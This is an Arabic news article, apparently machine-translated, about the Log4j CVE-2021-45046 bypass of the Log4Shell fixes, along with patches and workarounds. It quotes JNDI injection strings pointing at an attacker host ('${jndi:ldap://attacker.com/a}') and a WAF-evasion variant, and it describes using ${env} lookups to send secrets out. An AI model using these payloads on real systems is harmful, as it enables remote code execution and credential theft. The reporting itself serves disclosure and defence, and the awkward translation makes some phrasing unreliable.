تم نشر الخبر مؤخرًا أنه كان كذلك حددت نقطة ضعف أخرى في تنفيذ بحث JNDI في مكتبة Log4j 2 (CVE-2021-45046) ، والذي يحدث بالرغم من الإصلاحات المضافة في الإصدار 2.15 وبغض النظر عن استخدام إعداد الحماية "log4j2.noFormatMsgLookup".
المشكلة إنه خطير بشكل خاص للإصدارات الأقدم من Log4j 2، محمي بعلامة "noFormatMsgLookup" ، لأنه يسمح لك بتجاوز الحماية ضد الثغرات الأمنية السابقة (Log4Shell ، CVE-2021-44228) ، مما يسمح لك بتشغيل التعليمات البرمجية الخاصة بك على الخادم.
إلى الإصدار 2.15 للمستخدمين ، تقتصر العملية على تهيئة الظروف للإنهاء غير الطبيعي للتطبيق بسبب استنفاد الموارد المتاحة.
عالي التأثر يؤثر فقط على الأنظمة التي تستخدم بحث السياق ، مثل $ {ctx: loginId} أو قوالب خريطة سياق الموضوع (MDC) ، مثل٪ X و٪ mdc و٪ MDC للتسجيل.
تتلخص العملية في تكوين الشروط لإرسال البيانات التي تحتوي على استبدالات JNDI إلى السجل عند استخدام استعلامات السياق أو قوالب MDC في التطبيق ، والتي تحدد قواعد تنسيق المخرجات إلى السجل.
الكثير لاحظ باحثو LunaSec من إصدارات Log4j الأقل من 2.15 ، يمكن استخدام هذه الثغرة الأمنية كمتجه جديد لهجوم Log4Shell، مما يؤدي إلى تنفيذ التعليمات البرمجية إذا تم استخدام تعبيرات ThreadContext عند الإرسال إلى السجل ، والذي يتضمن بيانات خارجية ، بغض النظر عما إذا تم تعيين العلامة للحماية أم لا. قالب "NoMsgFormatLookups" أو "٪ m {nolookups}".
تم تقليل تجاوز الحماية إلى حقيقة أنه بدلاً من الاستبدال المباشر "$ {jndi: ldap: //example.com/a}" ، يتم استبدال هذا التعبير بقيمة المتغير الوسيط المستخدم في القواعد لتنسيق السحب السجل.
على سبيل المثال ، إذا تم استخدام طلب السياق $ {ctx: apiversion} عند الإرسال إلى التسجيل ، فيمكن تنفيذ الهجوم عن طريق استبدال البيانات "$ {jndi: ldap: //attacker.com/a}" في القيمة مكتوب على متغير الانحراف.
في الإصدار Log4j 2.15 ، يمكن استخدام الثغرة الأمنية لتنفيذ هجمات DoS عند تمرير القيم إلى ThreadContext ، والذي يمر عبر معالجة نمط تنسيق الإخراج.
لتكون قادرة على محاولة حل المشاكل التي واجهتها تم إصدار التحديثين 2.16 و 2.12.2 لمنع الثغرة الأمنية. في فرع Log4j 2.16 ، بالإضافة إلى الإصلاحات التي تم تنفيذها في النسخة 2.15 وربط طلبات JNDI LDAP بـ "المضيف المحلي" ، افتراضيًا يتم الغاء اتاحة وظيفة JNDI بالكامل وتم ازالة دعم قوالب استبدال الرسائل.
كحل بديل ، يُقترح إزالة فئة JndiLookup من classpath (على سبيل المثال ، "zip -q -d log4j-core - *. Jar org /apache/logging/log4j/core/lookup/JndiLookup.class").
أما بالنسبة لل الإجراءات التي اتخذتها المشاريع المختلفة:
إلى إنجن إكساستنادًا إلى الوحدة النمطية njs ، تم إعداد برنامج نصي يحظر إرسال تعبيرات JNDI في رؤوس HTTP و URIs ونص طلبات POST. يمكن استخدام البرنامج النصي على خوادم الواجهة الأمامية لحماية الخلفيات.
بالنسبة إلى HAProxy ، يتم توفير قواعد التكوين لمنع تشغيل CVE-2021-44228.
بالإضافة إلى الهجمات التي تم تحديدها مسبقًا والتي تستهدف تشكيل الروبوتات لتعدين العملات المشفرة ، فقد تم استغلال ثغرة أمنية في Log4J 2 لنشر برامج الفدية الضارة التي تقوم بتشفير محتويات الأقراص وتتطلب فدية لفك التشفير.
حددت Checkpoint حوالي 60 متغيرًا أنواع مختلفة من الثغرات المستخدمة للهجمات.
ذكرت CloudFlare أن محاولات اختبار مظهر من مظاهر الضعف في Log4j تم التعرف عليهم في 1 ديسمبر ، أي قبل 8 أيام من الكشف العام عن المشكلة. تم تسجيل المحاولات الأولى لاستغلال الثغرة الأمنية بعد 9 دقائق فقط من الكشف عن المعلومات. يذكر تقرير CloudFlare أيضًا استخدام البدائل مثل "$ {env: FOO: -j} ndi: $ {Lower: L} يعطي $ {Lower: P}" لحذف القناع "jndi: ldap" واستخدام تعبيرات هجوم $ {env} لنقل المعلومات حول كلمات المرور ومفاتيح الوصول المخزنة في متغيرات البيئة إلى خادم خارجي ، وتعبيرات $ {sys} لجمع معلومات حول النظام.
أخيرا إذا كنت مهتمًا بمعرفة المزيد عنها يمكنك التحقق من الرابط التالي.